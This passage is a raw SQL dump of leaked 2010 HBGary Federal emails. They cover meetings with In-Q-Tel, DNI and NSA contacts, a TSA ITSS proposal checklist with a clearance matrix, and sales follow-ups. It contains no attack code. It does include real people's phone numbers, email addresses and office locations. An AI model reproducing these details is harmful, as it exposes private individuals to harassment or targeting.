Intro&nbsp;\r\nOk 0900 at Starbucks next Monday (9 Aug).&nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 10:53 PMTo: McGovern, MarkSubject: Re: Intro&nbsp;Great can we do monday morning?Maybe meet in the starbucks?AaronSent from my iPadOn Aug 2, 2010, at 7:59 PM, &quot;McGovern, Mark&quot; &lt;MMcGovern@iqt.org&gt; wrote:Aaron&nbsp;I’d be happy to meet you at the CIA HQ cafeteria – if that works for you.IQT spaces are intentionally all non-SCIF.&nbsp;Next week is probably best – Monday or Tues morning are both open.If either work for you let me know.&nbsp; &nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro&nbsp;Thanks Jeff,&nbsp;Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.&nbsp;While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.&nbsp;If possible could we meet in a cleared space? &nbsp;I have a badge.&nbsp;Aaron&nbsp;On Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;',10322,'aaron_hbgary_com/10322.html'),(9919,'2010-08-09','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1297007777.M80785P14101Q4772.eml','\"Aaron Barr\" <aaron@hbgary.com>','Dawn Meyerriecks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron &#8211;\r\n\r\n\r\nWe&#8217;re\r\nbooked with Dawn at 4:00pm on Wednesday afternoon.&nbsp; \r\n\r\nHer EA is\r\nPaula and she asks that you please send her a bio.&nbsp; Her email is paulahb@dni.gov. &nbsp;\r\n\r\nPaula&#8217;s\r\nphone is 703-275-2007.&nbsp; \r\n\r\nDawn is in\r\nLX-2 Room 5B103.&nbsp; \r\n\r\nSee you there.&nbsp;\r\nCall if you have any questions.&nbsp; Your green badge will work.&nbsp; \r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7108,'aaron_hbgary_com/7108.html'),(9920,'2010-08-09','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007777.M853776P14101Q4775.eml','aaron@hbgary.com,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','ITSSS items due today 5pm','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s the items specifically due today, or that were\r\ndue last Friday:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nScalable Logo\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompany Info\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCapabilities Overview\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCapabilities collateral\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContact Info\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResumes\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPast Performance Short-list\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccess stories\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience matrix\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res\r\n  BMP \r\n  \r\n  \r\n  PNG or high res\r\n  BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Legal name of\r\n  bidding entity; State of Incorporation\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities\r\n  Overview\r\n  \r\n  \r\n  One page\r\n  description of corporate capabilities in IA/Cyber Security\r\n  \r\n  \r\n  Email text or\r\n  Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities collateral\r\n  \r\n  \r\n  PPTs or PDF\r\n  brochures of IA capabilities\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  Name, email and\r\n  best phone for content writers at each teaming partner\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Across the 13\r\n  key personnel labor categories, please provide 4 resumes that can be used in\r\n  the proposal.\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSS Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past\r\n  Performance Short-list\r\n  \r\n  \r\n  Your best\r\n  &nbsp;IA/Cyber Security&nbsp;past performance reference description\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSS Past Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  Please provide\r\n  3 success stories, preferably with metrics, illuminating your company\'s\r\n  strength in&nbsp; the IA areas\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Experience\r\n  matrix\r\n  \r\n  \r\n  Please complete\r\n  matrix #2 below, &quot;Experience&quot;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10148,'aaron_hbgary_com/10148.html'),(9921,'2010-08-09','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297007778.M373593P14101Q4777.eml','aaron@hbgary.com,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William Luti\" <wluti@digitalmanagement.com>','ITSSS - Experience Matrix','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere&#8217;s the Experience Matrix\r\nreferenced, due today:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  CLIN\r\n  &nbsp;\r\n  \r\n  \r\n  Key/Non\r\n  \r\n  \r\n  ITSSS Labor Category\r\n  \r\n  \r\n  Years Exp.\r\n  \r\n  \r\n  Clearance\r\n  \r\n  \r\n  No. of Personnel\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  0001A\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.1 Certification and\r\n  Accreditation Senior Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001B\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1. 2 Federal Information\r\n  Security Management Act (FISMA) Senior Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001C\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.3 Senior Information\r\n  Technology Training and Awareness Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001D\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.4 Information Systems Security\r\n  Officer (ISSO)\r\n  \r\n  \r\n  3-6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001E\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.5 FISMA Analysts\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001F\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.6 Primary Certifiers\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0001G\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.7 Training Analyst\r\n  \r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002A\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.8 Senior IT Security\r\n  Architecture Analyst\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002B\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.9 Senior Policy Analyst\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Top Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002C\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.10 Policy Analyst (PA)\r\n  \r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002D\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.11 IT Security Architecture\r\n  (SA) Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002E\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.12 Information Security\r\n  (INFOSEC) Analyst\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0002F\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.13 IT Contract Procurement\r\n  (CP) Analyst\r\n  \r\n  \r\n  3\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003A\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.14 Digital Forensics Manager\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003B\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.15 Senior E-Discovery Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003C\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.16 Security Operations Center\r\n  (SOC) Manager\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003D\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.17 Incident Response Manager\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003E\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.18 Threat and Vulnerability\r\n  Manager\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003F\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.19 Cyber Intelligence Manger\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003G\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.20 Communication Security\r\n  (COMSEC) Manager\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003J\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.21 Senior SOC Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003K\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  122 Senior Incident Responder\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003M\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.23 Senior Cyber Intelligence\r\n  Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003L\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.24 Threat and Vulnerability\r\n  Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003H\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.25 Digital Forensics Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  TS with prior SCI\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003I\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.26 E-Discovery Analyst\r\n  \r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0003N\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.27 Secure Communications\r\n  \r\n  \r\n  \r\n  TS\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0004A\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.28 Technical Writer\r\n  \r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0004B\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.29 Business Analyst\r\n  \r\n  \r\n  2\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0005A\r\n  \r\n  \r\n  Key\r\n  \r\n  \r\n  1.30 Senior Cyber Critical\r\n  Infrastructure and Planning Analyst\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n \r\n  \r\n  0005B\r\n  \r\n  \r\n  Non\r\n  \r\n  \r\n  1.31 Program Analyst, Critical\r\n  Infrastructure Sector Planning\r\n  \r\n  \r\n  6\r\n  \r\n  \r\n  Secret\r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Fanguy\r\n[mailto:jfanguy@digitalmanagement.com] \r\nSent: Monday, August 09, 2010 9:27 AM\r\nTo: aaron@hbgary.com; John Fanguy; jwootton@palantir.com; Kirby Kintner;\r\nMartin Fertal; msteckman@palantir.com; patricia.krajeski@tasc.com; Paul Meaney;\r\npaul.kuttner@tasc.com; Wilson, Rob; Sanderson, Robert;\r\nsondra.spalding@tasc.com; ted@hbgary.com; Leahy, Tom; Ryder, Tom; William Luti\r\nSubject: ITSSS items due today 5pm\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAll-\r\n\r\n&nbsp;\r\n\r\nHere&#8217;s the items specifically due today, or that were due\r\nlast Friday:\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nScalable Logo\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCompany Info\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCapabilities Overview\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCapabilities collateral\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nContact Info\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResumes\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPast Performance Short-list\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSuccess stories\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nExperience matrix\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  No.\r\n  \r\n  \r\n  Item\r\n  \r\n  \r\n  Description\r\n  \r\n  \r\n  Format\r\n  \r\n  \r\n  Teams\r\n  \r\n  \r\n  Due\r\n  \r\n \r\n \r\n  \r\n  1\r\n  \r\n  \r\n  Scalable Logo\r\n  \r\n  \r\n  PNG or high res\r\n  BMP \r\n  \r\n  \r\n  PNG or high res\r\n  BMP \r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  2\r\n  \r\n  \r\n  Company Info\r\n  \r\n  \r\n  Legal name of\r\n  bidding entity; State of Incorporation\r\n  \r\n  \r\n  Email text\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  3\r\n  \r\n  \r\n  Capabilities\r\n  Overview\r\n  \r\n  \r\n  One page\r\n  description of corporate capabilities in IA/Cyber Security\r\n  \r\n  \r\n  Email text or\r\n  Word\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  4\r\n  \r\n  \r\n  Capabilities\r\n  collateral\r\n  \r\n  \r\n  PPTs or PDF\r\n  brochures of IA capabilities\r\n  \r\n  \r\n  Any\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  5\r\n  \r\n  \r\n  Contact Info\r\n  \r\n  \r\n  Name, email and\r\n  best phone for content writers at each teaming partner\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/6/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  6\r\n  \r\n  \r\n  Resumes\r\n  \r\n  \r\n  Across the 13\r\n  key personnel labor categories, please provide 4 resumes that can be used in\r\n  the proposal.\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSS Resume&quot;, and name the file with the person\'s last name.\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  7\r\n  \r\n  \r\n  Past\r\n  Performance Short-list\r\n  \r\n  \r\n  Your best\r\n  &nbsp;IA/Cyber Security&nbsp;past performance reference description\r\n  \r\n  \r\n  Attached\r\n  &quot;TSA-ITSS Past Performance - COMPANY_NAME&quot;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  8\r\n  \r\n  \r\n  Success stories\r\n  \r\n  \r\n  Please provide\r\n  3 success stories, preferably with metrics, illuminating your company\'s\r\n  strength in&nbsp; the IA areas\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10 5:00 PM\r\n  \r\n \r\n \r\n  \r\n  9\r\n  \r\n  \r\n  Experience matrix\r\n  \r\n  \r\n  Please complete matrix #2 below, &quot;Experience&quot;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  All\r\n  \r\n  \r\n  8/9/10\r\n  5:00 PM\r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749 cell\r\n\r\n240-223-4800 main\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13780,'aaron_hbgary_com/13780.html'),(9922,'2010-08-09','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007778.M581399P14101Q4778.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: NANA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSAIC wants to see TMC when ready.&nbsp; I believe this account has\r\nmore opportunity for TMC than Responder.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 12:00 PM\r\nTo: Barr Aaron; Bob Slapnik\r\nSubject: NANA\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI just spoke with Bob. &nbsp;This morning he gave a 2hr demo\r\nto SAIC / NANA contract and they &quot;loved&quot; our products. &nbsp;He also\r\nmentioned that they are fully-staffed on REs and may have more $$$ in October.\r\n&nbsp;Can you follow up with your contact in a day or two to solicit feedback\r\nand check on status of slots.\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/05/10\r\n14:23:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9197,'aaron_hbgary_com/9197.html'),(9923,'2010-08-09','\"Peace, Cheryl D\" <cdpeace@nsa.gov>','/aaron@hbgary.com/new/1297007778.M74700P14101Q4776.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Number','Aaron\r\nDid a little checking and we already do busy with you guys.  Does the name\r\nTony Seager ring a bell?\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, August 06, 2010 10:56 AM\r\nTo: Peace, Cheryl D\r\nSubject: Re: Number\r\n\r\nOK. If interested do you have some time to get together when you get back?\r\neither next Friday or early the following week?\r\nAaron\r\n\r\nOn Aug 6, 2010, at 10:44 AM, Peace, Cheryl D wrote:\r\n\r\n> I am in Europe till mid next week\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 05, 2010 10:57 PM\r\n> To: Peace, Cheryl D\r\n> Subject: Re: Number\r\n> \r\n> Hi Cheryl,\r\n> \r\n> Can I schedule an appointment with you to come by and chat for a few\r\n> minutes?\r\n> \r\n> Aaron\r\n> \r\n> On Jul 30, 2010, at 10:41 PM, Peace, Cheryl D wrote:\r\n> \r\n>> I am at Rao at the bar if you want to come by for a few. Meeting friends\r\n> for a cocktail in a few\r\n>> --------------------------\r\n>> Sent using BlackBerry\r\n>> \r\n>> \r\n>> ----- Original Message -----\r\n>> From: Aaron Barr \r\n>> To: Peace, Cheryl D\r\n>> Sent: Fri Jul 30 20:02:44 2010\r\n>> Subject: Number\r\n>> \r\n>> Cheryl,\r\n>> \r\n>> Sorry to bother you but do you have a minute to talk.  I don\'t have\r\n>> your number handy.  It will only take moment, but I have some\r\n>> information for you.\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal\r\n>> 7195108478\r\n>> \r\n>> -- \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> 719.510.8478\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14915,'aaron_hbgary_com/14915.html'),(9924,'2010-08-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007778.M818528P14101Q4779.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barbara Vermilyea\" <barbarabookkeeping@yahoo.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Invoice from HBGary Federal LLC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat project is this for?&nbsp; I need to know the &#8220;what&#8221;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Sunday, August 08, 2010 5:22 PM\r\nTo: Penny Leavy; Barbara Vermilyea\r\nCc: Barr Aaron\r\nSubject: Invoice from HBGary Federal LLC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  Dear\r\n  Penny Leavy-Hoglund,\r\n  \r\n  Your invoice is attached. Please remit payment at your earliest convenience.\r\n  Thank you for your business - we appreciate it very much.\r\n  \r\n  